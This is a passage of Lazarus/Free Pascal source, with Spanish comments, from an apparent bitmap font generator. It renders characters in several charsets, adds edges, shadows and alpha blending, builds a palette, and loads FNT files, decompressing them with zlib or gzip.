downto 0 do begin for i := 0 to (lazBMP.Width - 1) do if not isSameColor(lazBmp.Colors[i,j], colTransparent) then begin result := (lazBMP.Height - 1) - j; Exit; end; end; end; procedure TfrmMainFNT.SetPaletteColor( i, color1: LongInt ); begin if color1 = TRANSPARENT_COLOR then begin fnt_container.header.palette[ (i * 3) + 2 ] := 0; fnt_container.header.palette[ (i * 3) + 1 ] := 4; fnt_container.header.palette[ (i * 3) ] := 0; Exit; end; fnt_container.header.palette[ (i * 3) + 2 ] := color1 shr 19; fnt_container.header.palette[ (i * 3) + 1 ] := (color1 and 64512) shr 10; fnt_container.header.palette[ (i * 3) ] := (color1 and 248 ) shr 3; fnt_container.header.palette[ i * 3 ] := fnt_container.header.palette[ i * 3 ] shl 3; fnt_container.header.palette[ (i * 3) + 1 ] := fnt_container.header.palette[ (i * 3) + 1 ] shl 2; fnt_container.header.palette[ (i * 3) + 2 ] := fnt_container.header.palette[ (i * 3) + 2 ] shl 3; end; procedure showColors(c1,c2:TFPColor); begin showMessage('c1.red:'+inttostr(c1.red)+' - '+'c1.green:'+inttostr(c1.green)+' - '+'c1.blue:'+inttostr(c1.blue)+' - '+'c1.alpha:'+inttostr(c1.alpha) +' - ' + 'c2.red:'+inttostr(c2.red)+' - '+'c2.green:'+inttostr(c2.green)+' - '+'c2.blue:'+inttostr(c2.blue)+' - '+'c2.alpha:'+inttostr(c2.alpha) ); end; procedure TfrmMainFNT.ExtractFNT( index : LongInt ); var x, y : LongInt; bmp_src : TBitmap; lazBMPsrc : TLazIntfImage; lazBMPdst : TLazIntfImage; tmpColor : TFPColor; tmpVal :integer; begin bmp_src := TBitmap.Create; bmp_src.PixelFormat := pf32bit; //bmp_src.Palette := CopyPalette(fnt_hpal); bmp_src.Canvas.Font.Assign(nFont); // Obtenemos el ancho y el alto real de esta imagen case cbCharset.ItemIndex of 0:begin bmp_src.Width := bmp_src.Canvas.TextWidth(ISO_8859_1ToUTF8(chr(index))); bmp_src.Height := bmp_src.Canvas.TextHeight(ISO_8859_1ToUTF8(chr(index))); end; 1:begin bmp_src.Width := bmp_src.Canvas.TextWidth(CP850ToUTF8(chr(index))); bmp_src.Height := bmp_src.Canvas.TextHeight(CP850ToUTF8(chr(index))); end; 2:begin bmp_src.Width := bmp_src.Canvas.TextWidth(ISO_8859_15ToUTF8(chr(index))); bmp_src.Height := bmp_src.Canvas.TextHeight(ISO_8859_15ToUTF8(chr(index))); end; 3:begin bmp_src.Width := bmp_src.Canvas.TextWidth(CP1252ToUTF8(chr(index))); bmp_src.Height := bmp_src.Canvas.TextHeight(CP1252ToUTF8(chr(index))); end; 4:begin bmp_src.Width := bmp_src.Canvas.TextWidth(CP437ToUTF8(chr(index))); bmp_src.Height := bmp_src.Canvas.TextHeight(CP437ToUTF8(chr(index))); end; end; // Rellenamos la imagen de color transparente ClearBitmap(bmp_src); if( bmp_src.Width <= 0 ) then begin fnt_container.header.char_info[index].width := 0; fnt_container.header.char_info[index].Width_Offset:= 0; fnt_container.header.char_info[index].height := 0; fnt_container.header.char_info[index].Height_Offset:=0; fnt_container.header.char_info[index].vertical_offset := 0; fnt_container.header.char_info[index].Horizontal_Offset:=0; fnt_container.header.char_info[index].file_Offset:=0; FreeAndNil(fnt_container.char_data[index].Bitmap); fnt_container.char_data[index].ischar:=false; Exit; end; // Pintamos la Tipografía bmp_src.Canvas.Brush.Color := clBlack; bmp_src.Canvas.Font.Color := inifile_fnt_color; case cbCharset.ItemIndex of 0: bmp_src.Canvas.TextOut(0, 0, ISO_8859_1ToUTF8(chr(index))); 1: bmp_src.Canvas.TextOut(0, 0, CP850ToUTF8(chr(index))); 2: bmp_src.Canvas.TextOut(0, 0, ISO_8859_15ToUTF8(chr(index))); 3: bmp_src.Canvas.TextOut(0, 0, CP1252ToUTF8(chr(index))); 4: bmp_src.Canvas.TextOut(0, 0, CP437ToUTF8(chr(index))); end; // Obtenemos el desplazamiento vertical, ancho y alto mínimo fnt_container.header.char_info[index].vertical_offset:= GetUpOffset(bmp_src); fnt_container.header.char_info[index].width := bmp_src.Width; fnt_container.header.char_info[index].height := bmp_src.Height - fnt_container.header.char_info[index].vertical_offset - GetDownOffset(bmp_src); if( fnt_container.header.char_info[index].height <= 0 ) then begin fnt_container.header.char_info[index].width := 0; fnt_container.header.char_info[index].Width_Offset:= 0; fnt_container.header.char_info[index].height := 0; fnt_container.header.char_info[index].Height_Offset:=0; fnt_container.header.char_info[index].vertical_offset := 0; fnt_container.header.char_info[index].Horizontal_Offset:=0; fnt_container.header.char_info[index].file_Offset:=0; FreeAndNil(fnt_container.char_data[index].Bitmap); fnt_container.char_data[index].ischar:=false; Exit; end; FreeAndNil(fnt_container.char_data[index].Bitmap); fnt_container.char_data[index].Bitmap := TBitmap.Create; fnt_container.char_data[index].Bitmap.PixelFormat := pf32bit; // fnt_container.char_data[index].Bitmap.Palette := CopyPalette(fnt_hpal); fnt_container.char_data[index].Bitmap.Width := fnt_container.header.char_info[index].width; fnt_container.char_data[index].Bitmap.Height := fnt_container.header.char_info[index].Height; //** Copia una imagen en otra con el desplazamiento vertical **// tmpVal:= (MulDiv (high(word) , alpha_font , 100) ) and $FF00; lazBMPdst:= fnt_container.char_data[index].Bitmap.CreateIntfImage; lazBMPsrc:= bmp_src.CreateIntfImage; for y := 0 to lazBMPdst.Height - 1 do for x := 0 to lazBMPdst.Width - 1 do begin tmpColor:=lazBMPsrc.Colors[x,y + fnt_container.header.char_info[index].vertical_offset]; if FPColorToTColor(tmpColor) = inifile_fnt_color then begin tmpColor.alpha:=tmpVal; lazBMPdst.Colors[x,y] := tmpColor; end; end; fnt_container.char_data[index].Bitmap.LoadFromIntfImage(lazBMPdst); fnt_container.char_data[index].ischar := true; lazBMPsrc.free; lazBMPdst.free; bmp_src.free; end; procedure TfrmMainFNT.InsertEdge( index : LongInt ); var x, y, j, k : LongInt; bmp_edge : TBitmap; bmp_dst : TBitmap; lazBMPsrc, lazBMPdst : TLazIntfImage; lazBMPedge : TLazIntfImage; edgeColor : TFPColor; begin bmp_edge := TBitmap.Create; bmp_edge.PixelFormat := pf32bit; //bmp_edge.Palette := CopyPalette(fnt_hpal); bmp_edge.Width := fnt_container.header.char_info[index].width + (font_edge * 2); bmp_edge.Height := fnt_container.header.char_info[index].height + (font_edge * 2); bmp_dst := TBitmap.Create; bmp_dst.PixelFormat := pf32bit; //bmp_dst.Palette := CopyPalette(fnt_hpal); bmp_dst.Width := bmp_edge.Width; bmp_dst.Height := bmp_edge.Height; // Borramos la imagen ClearBitmap(bmp_edge); ClearBitmap(bmp_dst); fnt_container.header.char_info[index].width := bmp_edge.Width; fnt_container.header.char_info[index].height := bmp_edge.Height; // Desplazamiento horizontal y vertical lazBMPsrc:= fnt_container.char_data[index].Bitmap.CreateIntfImage ; lazBMPdst:= bmp_dst.CreateIntfImage ; lazBMPdst.CopyPixels(lazBMPsrc, font_edge,font_edge); // Pintamos el reborde lazBMPedge:= bmp_edge.CreateIntfImage ; edgeColor:=TColorToFPColor(inifile_edge_color); edgeColor.alpha:= (MulDiv (high(word) , alpha_edge , 100)) and $FF00; for y := 0 to lazBMPdst.Height - 1 do begin for x := 0 to lazBMPdst.Width - 1 do if FPColorToTColor(lazBMPdst.Colors[x,y]) = inifile_fnt_color then begin for k := y - font_edge to y + font_edge do begin for j := x - font_edge to x + font_edge do lazBMPedge.Colors[j,k]:= edgeColor; end; end; end; // Añadimos el reborde for y := 0 to lazBMPedge.Height - 1 do begin for x := 0 to lazBMPedge.Width - 1 do begin if FPColorToTColor(lazBMPdst.Colors[x,y]) = inifile_fnt_color then continue; if FPColorToTColor(lazBMPedge.Colors[x,y]) = inifile_edge_color then lazBMPdst.Colors[x,y] := edgeCOLOR; end; end; // fnt_container.char_data[index].Bitmap.Destroy; fnt_container.char_data[index].Bitmap.LoadFromIntfImage(lazBMPdst); lazBMPdst.free; lazBMPsrc.free; lazBMPedge.free; bmp_dst.Destroy; bmp_edge.Destroy; end; // Usage NewColor:= Blend(Color1, Color2, blending level 0 to 100); function Blend(Color1, Color2: TColor; A: Byte): TColor; var c1, c2: LongInt; r, g, b, v1, v2: byte; begin A:= Round(2.55 * A); c1 := ColorToRGB(Color1); c2 := ColorToRGB(Color2); v1:= Byte(c1); v2:= Byte(c2); r:= A * (v1 - v2) shr 8 + v2; v1:= Byte(c1 shr 8); v2:= Byte(c2 shr 8); g:= A * (v1 - v2) shr 8 + v2; v1:= Byte(c1 shr 16); v2:= Byte(c2 shr 16); b:= A * (v1 - v2) shr 8 + v2; Result := (b shl 16) + (g shl 8) + r; end; procedure TfrmMainFNT.InsertShadow( index : LongInt ); var j, k, x, y, xs, ys, bmp_width, bmp_height : LongInt; bmp_dst, bmp_tmp : TBitmap; lazBMPsrc, lazBMPdst : TLazIntfImage; lazBMPtmp : TLazIntfImage; fontColor : TFPColor; shadowColor : TFPColor; edgeColor : TFPColor; mixEdgeColor : TFPColor; mixFontColor : TFPColor; begin // Desplazamiento de la imagen x := 0; y := 0; xs:= 0; ys:= 0; fontColor := TColorToFPColor(inifile_fnt_color); fontColor.alpha:=(muldiv(high(word),alpha_font,100) ) and $FF00; edgeColor := TColorToFPColor(inifile_edge_color); edgeColor.alpha:=(muldiv(high(word),alpha_edge,100)) and $FF00; shadowColor := TColorToFPColor(inifile_shadow_color); shadowColor.alpha:=(muldiv(high(word),alpha_shadow,100)) and $FF00; // Posición de la Tipografía if ( rbsLT.Checked or rbsLM.Checked or rbsLD.Checked ) then x := font_shadow; if ( rbsLT.Checked or rbsTM.Checked or rbsRT.Checked ) then y := font_shadow; // Posición de la sombra if ( rbsRT.Checked or rbsRM.Checked or rbsRD.Checked ) then xs := font_shadow; if ( rbsLD.Checked or rbsDM.Checked or rbsRD.Checked ) then ys := font_shadow; bmp_Width := fnt_container.header.char_info[index].width; bmp_Height := fnt_container.header.char_info[index].height; // Calculo del tamaño de la imagen if ( rbsLM.Checked or rbsRM.Checked ) then bmp_Width := bmp_Width + font_shadow else if ( rbsTM.Checked or rbsDM.Checked ) then bmp_Height := bmp_Height + font_shadow else begin bmp_Width := bmp_Width + font_shadow; bmp_Height := bmp_Height + font_shadow; end; fnt_container.header.char_info[index].width := bmp_Width; fnt_container.header.char_info[index].height := bmp_Height; bmp_dst := TBitmap.Create; bmp_dst.PixelFormat := pf32bit; bmp_dst.Width := bmp_Width; bmp_dst.Height := bmp_Height; bmp_tmp := TBitmap.Create; bmp_tmp.PixelFormat := pf32bit; //bmp_tmp.Palette := CopyPalette(fnt_hpal); bmp_tmp.Width := bmp_Width; bmp_tmp.Height := bmp_Height; ClearBitmap(bmp_dst); ClearBitmap(bmp_tmp); // Pintamos la sombra lazBMPsrc:= fnt_container.char_data[index].Bitmap.CreateIntfImage; lazBMPdst:= bmp_dst.CreateIntfImage; for k := 0 to lazBMPsrc.Height - 1 do begin for j := 0 to lazBMPsrc.Width - 1 do if ((FPColorToTColor(lazBMPsrc.Colors[j,k]) = inifile_fnt_color) or (FPColorToTColor(lazBMPsrc.Colors[j,k]) = inifile_edge_color)) then lazBMPdst.Colors[j + xs,k+ys] := shadowColor; end; fnt_container.header.char_info[index].width := lazBMPdst.Width; fnt_container.header.char_info[index].height := lazBMPdst.Height; lazBMPtmp:=bmp_tmp.CreateIntfImage; // Desplazamiento horizontal for k := 0 to lazBMPsrc.Height - 1 do begin for j := lazBMPsrc.Width - 1 downto 0 do if ((FPColorToTColor(lazBMPsrc.Colors[j,k]) = inifile_fnt_color) or (FPColorToTColor(lazBMPsrc.Colors[j,k]) = inifile_edge_color)) then lazBMPtmp[j + x,k+y] := lazBMPsrc.Colors[j,k]; end; mixFontColor:= TColorToFPColor(Blend(inifile_fnt_color,inifile_shadow_color,alpha_font)); mixFontColor.alpha:= fontColor.alpha; mixEdgeColor:= TColorToFPColor(Blend(inifile_edge_color,inifile_shadow_color,alpha_edge)); mixEdgeColor.alpha:= edgeColor.alpha; // Añadimos la sombra for k := 0 to lazBMPtmp.Height -1 do begin for j := 0 to lazBMPtmp.Width - 1 do begin if (FPColorToTColor(lazBMPdst.Colors[j,k]) = inifile_shadow_color) then begin if FPColorToTColor(lazBMPtmp.Colors[j,k]) = inifile_fnt_color then lazBMPtmp.Colors[j,k]:= mixFontColor else if FPColorToTColor(lazBMPtmp.Colors[j,k]) = inifile_edge_color then lazBMPtmp.Colors[j,k]:= mixEdgeColor else lazBMPtmp.Colors[j,k]:= shadowColor; end; end; end; // fnt_container.char_data[index].Bitmap.Destroy; fnt_container.char_data[index].Bitmap.LoadFromIntfImage(lazBMPtmp); lazBMPtmp.free; lazBMPsrc.free; lazBMPdst.free; bmp_tmp.Destroy; bmp_dst.Destroy; end; procedure TfrmMainFNT.RenderFNT( index : LongInt ); var j, k : LongInt; lazBMP,lazBMPfnt,lazBMPedge,lazBMPshadow : TLazIntfImage; ncolor : TColor; begin lazBMP:= fnt_container.char_data[index].Bitmap.CreateIntfImage; lazBMPfnt:= img_font.CreateIntfImage; lazBMPedge:= img_edge.CreateIntfImage; lazBMPshadow:= img_shadow.CreateIntfImage; for k := 0 to lazBMP.Height - 1 do begin for j := 0 to lazBMP.Width - 1 do begin nColor := FPColorToTColor(lazBMP.Colors[j,k]); if nColor = inifile_fnt_color then begin if inifile_fnt_image <> '' then lazBMP.Colors[j,k] := lazBMPfnt.Colors[j mod img_font.Width, k mod img_font.Height]; continue; end; if nColor = inifile_edge_color then begin if inifile_edge_image <> '' then lazBMP.Colors[j,k] := lazBMPedge.Colors[j mod img_edge.Width, k mod img_edge.Height]; continue; end; if nColor = inifile_shadow_color then begin if inifile_shadow_image <> '' then lazBMP.Colors[j,k] := lazBMPshadow.Colors[j mod img_shadow.Width, k mod img_shadow.Height]; continue; end; (* B16 := nColor shr 19; G16 := (nColor and 64512) shr 10; R16 := (nColor and 248 ) shr 3; if( Color_Table_16_to_8[R16, G16, B16] = 0 ) then Color_Table_16_to_8[R16, G16, B16] := Find_Color(1, R16 shl 3, G16 shl 2, B16 shl 3); pSrc^[j] := Color_Table_16_to_8[R16, G16, B16]; *) end; end; fnt_container.char_data[index].Bitmap.LoadFromIntfImage(lazBMP); lazBMP.free; lazBMPfnt.free; lazBMPedge.free; lazBMPshadow.free; end; procedure TfrmMainFNT.CreatePAL; var table_pixels : Array [0 .. 65535] of Table_Sort; sort_pixels : TList; sort_pixel : Table_Sort; images : Boolean; i, j, k, R16, G16, B16 : LongInt; begin Init_Color_Table; // Si tenemos imágenes images := (inifile_fnt_image <> '') or (inifile_edge_image <> '') or (inifile_shadow_image <> ''); if (inifile_fnt_image <> '') then for j := 0 to img_font.Width - 1 do for k := 0 to img_font.Height - 1 do begin // Conversión a 16 bits B16 := img_font.Canvas.Pixels[j, k] shr 19; G16 := (img_font.Canvas.Pixels[j, k] and 64512) shr 10; R16 := (img_font.Canvas.Pixels[j, k] and 248) shr 3; Color_Table[R16, G16, B16] := Color_Table[R16, G16, B16] + 1; end; if (inifile_edge_image <> '') and (sedSizeEdge.Value > 0) then for j := 0 to img_edge.Width - 1 do for k := 0 to img_edge.Height - 1 do begin // Conversión a 16 bits B16 := img_edge.Canvas.Pixels[j, k] shr 19; G16 := (img_edge.Canvas.Pixels[j, k] and 64512) shr 10; R16 := (img_edge.Canvas.Pixels[j, k] and 248) shr 3; Color_Table[R16, G16, B16] := Color_Table[R16, G16, B16] + 1; end; if (inifile_shadow_image <> '') and (sedSizeShadow.Value > 0) then for j := 0 to img_shadow.Width - 1 do for k := 0 to img_shadow.Height - 1 do begin // Conversión a 16 bits B16 := img_shadow.Canvas.Pixels[j, k] shr 19; G16 := (img_shadow.Canvas.Pixels[j, k] and 64512) shr 10; R16 := (img_shadow.Canvas.Pixels[j, k] and 248) shr 3; Color_Table[R16, G16, B16] := Color_Table[R16, G16, B16] + 1; end; sort_pixels := TList.Create; // Si tenemos imágenes if images then begin // Ordenamos los resultados del análisis for i := 0 to 65535 do begin // Conversión a 16 bits B16 := i shr 11; G16 := (i and 2016) shr 5; R16 := (i and 31); table_pixels[i].nSort := Color_Table[R16, G16, B16]; table_pixels[i].nLink := i; sort_pixels.Add(@table_pixels[i]); end; sort_pixels.Sort(@SortCompare); end; // Establecemos el color transparente fnt_container.header.palette[ 0 ] := 0; fnt_container.header.palette[ 1 ] := 0; fnt_container.header.palette[ 2 ] := 0; j := 0; // Establecemos el color de Tipografía if inifile_fnt_image = '' then begin j := j + 1; SetPaletteColor(j, inifile_fnt_color); end; // Establecemos del borde if (inifile_edge_image = '') then begin j := j + 1; SetPaletteColor(j, inifile_edge_color); if (alpha_edge < 100 ) then begin j := j + 1; SetPaletteColor(j, Blend(inifile_fnt_color,inifile_edge_color,alpha_font)); end; end; // Establecemos de la sombra if (inifile_shadow_image = '') then begin j := j + 1; SetPaletteColor(j, inifile_shadow_color); if (alpha_shadow < 100 ) then begin j := j + 1; SetPaletteColor(j, Blend(inifile_fnt_color,inifile_shadow_color,alpha_font)); end; end; // Si tenemos imágenes if images then begin // Establecemos la paleta de colores i := 65535; while j < 256 do begin sort_pixel := Table_Sort(sort_pixels.Items[i]^); i := i - 1; // Si es el color transparente if sort_pixel.nLink = 0 then continue; // Si se establece color de Tipografía if ((inifile_fnt_image = '') and (sort_pixel.nLink = inifile_fnt_color)) then continue; // Si se establece color de borde if ((inifile_edge_image = '') and (sort_pixel.nLink = inifile_edge_color)) then continue; // Si se establece color de sombra if ((inifile_shadow_image = '') and (sort_pixel.nLink = inifile_shadow_color)) then continue; // Conversión a 16 bits B16 := sort_pixel.nLink shr 11; G16 := (sort_pixel.nLink and 2016) shr 5; R16 := (sort_pixel.nLink and 31); j := j + 1; fnt_container.header.palette[ j * 3 ] := R16 shl 3; fnt_container.header.palette[ (j * 3) + 1 ] := G16 shl 2; fnt_container.header.palette[ (j * 3) + 2 ] := B16 shl 3; end; end; // Establecemos de la sombra if not images then begin j := j + 1; SetPaletteColor(j, clRed); end; sort_pixels.Free; Create_HPal; end; procedure TfrmMainFNT.ExtractAllFNT; var i : LongInt; begin dpCount := 0; if cbNumbers.Checked then for i := 48 to 57 do begin ExtractFNT( i ); drawProgress('Generando los números...'); end; if cbUpper.Checked then for i := 65 to 90 do begin ExtractFNT( i ); drawProgress('Generando las mayúsculas...'); end; if cbMinus.Checked then for i := 97 to 122 do begin ExtractFNT( i ); drawProgress('Generando las minúsculas...'); end; if cbSymbol.Checked then begin for i := 0 to 47 do begin ExtractFNT( i ); drawProgress('Extrayendo los símbolos...'); end; for i := 58 to 64 do begin ExtractFNT( i ); drawProgress('Extrayendo los símbolos...'); end; for i := 91 to 96 do begin ExtractFNT( i ); drawProgress('Extrayendo los símbolos...'); end; for i := 123 to 127 do begin ExtractFNT( i ); drawProgress('Extrayendo los símbolos...'); end; end; if cbExtended.Checked then for i := 128 to 255 do begin ExtractFNT( i ); drawProgress('Extrayendo los carácteres extendidos...'); end; end; procedure TfrmMainFNT.MakeFont; var total : LongInt; begin DrawProgress(''); // Obtenemos el número de letras total := GetNumberOfFNT(); // Si no hay contenido no hace nada if total = 0 then Exit; dpTotal := total; sbInfo.Panels.Items[0].Text := ''; unload_fnt; fnt_container.header.charset := 1; // no aplicar tabla de transformación if cbCharset.ItemIndex = 0 then fnt_container.header.charset := 0; // Aplicar tabla de transformación CP850 a ISO8859_1 font_edge := sedSizeEdge.Value; font_shadow:= sedSizeShadow.Value; ExtractAllFNT; // Si hay Reborde if font_edge > 0 then MakeEdge; // Si hay sombra if font_shadow > 0 then MakeShadow; MakeFontDraw; SetFNTSetup; sbInfo.Panels.Items[1].Text := 'Tamaño: ' + IntToStr(fnt_container.sizeof div 1024) + 'KB'; DrawProgress(''); sbSave.Enabled := true; sbSaveAs.Enabled := true; MakePreview; EnableButtons; end; procedure TfrmMainFNT.FormResize(Sender: TObject); begin if width < 640 then width := 640; if height < 480 then height := 480; end; procedure TfrmMainFNT.Label5Click(Sender: TObject); begin end; procedure TfrmMainFNT.MakeTextParsingCharset( str : String); begin if fnt_container.header.charset = 0 then case cbCharset.ItemIndex of 0:MakeText(UTF8ToISO_8859_1(str)); 2:MakeText(UTF8ToISO_8859_15(str)); 4:MakeText(UTF8ToCP437(str)); end else case cbCharset.ItemIndex of 3: MakeText(UTF8ToCP1252(str)) else MakeText(UTF8ToCP850(str)); end; end; procedure TfrmMainFNT.EPreviewChange(Sender: TObject); begin MakeTextParsingCharset(EPreview.Text); end; procedure TfrmMainFNT.cbCharsetChange(Sender: TObject); begin inifile_charset_to_gen:=cbCharset.ItemIndex; end; function TfrmMainFNT.OpenFNT( sfile: string ) : boolean; var WorkDir: string; BinDir: string; f : TextFile; begin result:=false; // Comprobamos si es un formato sin comprimir if not FNT_Test(sfile) then begin WorkDir := GetTempDir(False) ; BinDir := ExtractFilePath(Application.ExeName); {$IFDEF WINDOWS} RunExe(BinDir + DirectorySeparator+'\zlib\zlib.exe -d "'+ sfile + '"', WorkDir ); {$ENDIF} {$IFDEF Linux} RunExe('/bin/gzip -dc "'+ sfile+'"', WorkDir,WorkDir +'________.uz' ); {$ENDIF} result := load_fnt( WorkDir +'________.uz'); AssignFile(f, WorkDir +'________.uz'); Erase(f); end else result := load_fnt(sfile); end; procedure TfrmMainFNT.sbOpenClick(Sender: TObject); begin if dlgOpen.Execute then begin if( not FileExistsUTF8(dlgOpen.FileName) { *Converted from FileExists* } ) then begin showmessage('No existe el archivo.'); Exit; end; pInfo.Caption := 'Cargando Tipografía...'; pInfo.Show; Repaint; if OpenFNT( dlgOpen.FileName ) then begin sbInfo.Panels.Items[0].Text := dlgOpen.FileName; sbInfo.Panels.Items[1].Text := 'Tamaño: ' + IntToStr(fnt_container.sizeof div 1024) + 'KB'; sbSave.Enabled := true; sbSaveAs.Enabled := true; MakePreview; cbNumbers.Checked := ((inifile_symbol_type and 1 ) = 1); cbUpper.Checked := ((inifile_symbol_type and 2 ) = 2); cbMinus.Checked := ((inifile_symbol_type and 4 ) = 4); cbSymbol.Checked := ((inifile_symbol_type and 8 ) = 8); cbExtended.Checked := ((inifile_symbol_type and 16) = 16); if fnt_container.header.file_type[2] = 'x' then begin cbCharset.ItemIndex:= fnt_container.header.charset; end; end; pInfo.Hide; EnableButtons; end; end; procedure TfrmMainFNT.openParamFile; begin // Si hay Tipografía como parámetro if ParamCount = 1 then if FileExistsUTF8(ParamStr(1) ) { *Converted from FileExists* } then if load_fnt( ParamStr(1) ) then begin sbInfo.Panels.Items[0].Text := dlgOpen.FileName; sbInfo.Panels.Items[1].Text := 'Tamaño: ' + IntToStr(fnt_container.sizeof div 1024) + 'KB'; sbSave.Enabled := true; sbSaveAs.Enabled := true; if fnt_container.header.file_type[2]='x' then inifile_symbol_type := fnt_container.header.charset; MakePreview; end; end; procedure TfrmMainFNT.FormCreate(Sender: TObject); begin cbStyle.Items.Clear; cbStyle.Items.Add(LNG_NORMAL); cbStyle.Items.Add(LNG_BOLD); cbStyle.Items.Add(LNG_UNDERLINE); cbStyle.Items.Add(LNG_LABELED); // Carga la configuración de inicio load_inifile; alpha_edge:= seRealfa.value; alpha_shadow:= seSoalfa.value; alpha_font:= seFontAlfa.value; UpdateBGColor; // Crea una Tipografía nFont := TFont.Create; cbStyle.ItemIndex := 0; // Crea los BITMAPS necesarios CreateBitmaps; // Inicializa la Tipografía inifile_load_font( nFont ); nFont.Size := inifile_fnt_size; edSizeFont.Text := IntToStr(nFont.Size); lbNameFont.Caption := nFont.Name; lbNameFontB.Caption := nFont.Name; sedSizeEdge.Value := inifile_edge_size; sedSizeShadow.Value := inifile_shadow_offset; cbStyle.ItemIndex := inifile_fnt_effects; if inifile_fnt_effects = 0 then // Normal nFont.Style := []; if inifile_fnt_effects = 1 then // Negrita nFont.Style := [fsBold]; if inifile_fnt_effects = 2 then // Subrayado nFont.Style := [fsUnderline]; if inifile_fnt_effects = 3 then // Tachado nFont.Style := [fsStrikeOut]; cbNumbers.Checked := ((inifile_symbol_type and 1 ) = 1); cbUpper.Checked := ((inifile_symbol_type and 2 ) = 2); cbMinus.Checked := ((inifile_symbol_type and 4 ) = 4); cbSymbol.Checked := ((inifile_symbol_type and 8 ) = 8); cbExtended.Checked := ((inifile_symbol_type and 16) = 16); case inifile_shadow_pos of 1 : rbsLT.Checked := true; 2 : rbsTM.Checked := true; 3 : rbsRT.Checked := true; 4 : rbsLM.Checked := true; 5 : rbsRM.Checked := true; 6 : rbsLD.Checked := true; 7 : rbsDM.Checked := true; 8 : rbsRD.Checked := true; end; // Si tenemos imagen para la Tipografía if (inifile_fnt_image <> '') then try img_font.LoadFromFile(inifile_fnt_image); except inifile_fnt_image := ''; end; // Si tenemos imagen para el borde if (inifile_edge_image <> '') then try img_edge.LoadFromFile(inifile_edge_image); except inifile_edge_image := ''; end; // Si tenemos imagen para la sombra if (inifile_shadow_image <> '') then try img_shadow.LoadFromFile(inifile_shadow_image); except inifile_shadow_image := ''; end; // Establece el RadioButton seleccionado rbSFontClick(Sender); end; procedure TfrmMainFNT.lvFontExit(Sender: TObject); begin unload_fnt; end; procedure TfrmMainFNT.sbLoadFontClick(Sender: TObject); begin dlgFont.Font.Assign(nFont); dlgFont.Font.Color := inifile_fnt_color; if not dlgFont.Execute then Exit; nFont.Assign(dlgFont.Font); edSizeFont.Text := IntToStr(nFont.Size); lbNameFont.Caption := nFont.Name; lbNameFontB.Caption := nFont.Name; inifile_fnt_color := nFont.Color; inifile_fnt_charset := nFont.Charset; inifile_fnt_height := nFont.Height; inifile_fnt_size := nFont.Size; inifile_fnt_name := nFont.Name; if rbSFont.Checked then rbSFontClick(Sender); //nFont.Style := []; if( nFont.Style = [] ) then cbStyle.ItemIndex := 0 else if( nFont.Style = [fsBold] ) then cbStyle.ItemIndex := 1 else if( nFont.Style = [fsUnderline] ) then cbStyle.ItemIndex := 2 else if( nFont.Style = [fsStrikeOut] ) then cbStyle.ItemIndex := 3 else begin cbStyle.ItemIndex := 0; nFont.Style := []; end; inifile_fnt_effects := cbStyle.ItemIndex; write_inifile; end; procedure TfrmMainFNT.edSizeEdgeKeyPress(Sender: TObject; var Key: Char); begin case key of '0' .. '9', chr(8): begin end; else key := chr(13); end; end; procedure TfrmMainFNT.edSizeShadowKeyPress(Sender: TObject; var Key: Char); begin case key of '0' .. '9', chr(8): begin end; else key := chr(13); end; end; procedure TfrmMainFNT.edSizeFontKeyPress(Sender: TObject; var Key: Char); begin case key of '0' .. '9', chr(8): begin end; else key := chr(13); end; end; procedure TfrmMainFNT.sbShowFNTClick(Sender: TObject); begin frmFNTView.setImageBGColor(inifile_bgcolor); frmFNTView.Show; end; procedure TfrmMainFNT.sbShowPaletteClick(Sender: TObject); begin frmPalette.ShowModal; end; procedure TfrmMainFNT.createSelectedImageBox(color1 :TColor); var bmp : TBitmap; begin bmp:= TBitmap.Create; bmp.PixelFormat:=pf24bit; bmp.SetSize(50,50); bmp.Canvas.Brush.Color := clBlack; bmp.Canvas.Rectangle(0, 0, 50, 50); bmp.Canvas.Brush.Color := color1; bmp.Canvas.FillRect(Rect(1,1, 49, 49)); imgSelect.Picture.Assign(bmp); FreeAndNil(bmp); end; procedure TfrmMainFNT.rbSFontClick(Sender: TObject); begin sbSelectColor.Font.Style := []; sbSelectImage.Font.Style := []; if inifile_fnt_image = '' then begin sbSelectColor.Font.Style := [fsBold]; createSelectedImageBox(inifile_fnt_color); end else begin sbSelectImage.Font.Style := [fsBold]; imgSelect.Picture.Assign(img_font); end; end; procedure TfrmMainFNT.rbSEdgeClick(Sender: TObject); begin sbSelectColor.Font.Style := []; sbSelectImage.Font.Style := []; if inifile_edge_image = '' then begin sbSelectColor.Font.Style := [fsBold]; createSelectedImageBox(inifile_edge_color); end else begin sbSelectImage.Font.Style := [fsBold]; imgSelect.Picture.Assign(img_edge); end; end; procedure TfrmMainFNT.rbSShadowClick(Sender: TObject); begin sbSelectColor.Font.Style := []; sbSelectImage.Font.Style := []; if inifile_shadow_image = '' then begin sbSelectColor.Font.Style := [fsBold]; createSelectedImageBox(inifile_shadow_color); end else begin sbSelectImage.Font.Style := [fsBold]; imgSelect.Picture.Assign(img_shadow); end; end; procedure TfrmMainFNT.sbSelectColorClick(Sender: TObject); begin if dlgColor.Execute then begin if rbSFont.Checked then begin inifile_fnt_color := dlgColor.Color; inifile_fnt_image := ''; alpha_font:= seFontAlfa.value; rbSFontClick(Sender); end; if rbSEdge.Checked then begin inifile_edge_color := dlgColor.Color; inifile_edge_image := ''; alpha_edge:= seRealfa.value; rbSEdgeClick(Sender); end; if rbSShadow.Checked then begin inifile_shadow_color := dlgColor.Color; inifile_shadow_image := ''; alpha_shadow:= seSoalfa.value; rbSShadowClick(Sender); end; end; end; procedure TfrmMainFNT.sbSelectImageClick(Sender: TObject); begin if not dlgOpenPicture.Execute then Exit; if rbsFont.Checked then begin try img_font.LoadFromFile(dlgOpenPicture.FileName); except Exit; end; imgSelect.Picture.Assign( img_font); inifile_fnt_image := dlgOpenPicture.FileName; sbSelectColor.Font.Style := []; sbSelectImage.Font.Style := [fsBold]; end; if rbsEdge.Checked then begin try img_edge.LoadFromFile(dlgOpenPicture.FileName); except Exit; end; imgSelect.Picture.Assign( img_edge); inifile_edge_image := dlgOpenPicture.FileName; sbSelectColor.Font.Style := []; sbSelectImage.Font.Style := [fsBold]; end; if rbsShadow.Checked then begin try img_shadow.LoadFromFile(dlgOpenPicture.FileName); except Exit; end; imgSelect.Picture.Assign( img_shadow); inifile_shadow_image := dlgOpenPicture.FileName; sbSelectColor.Font.Style := []; sbSelectImage.Font.Style := [fsBold]; end; end; procedure TfrmMainFNT.cbStyleChange(Sender: TObject); begin inifile_fnt_effects := cbStyle.ItemIndex; if( cbStyle.ItemIndex = 0 ) then nFont.Style := []; if( 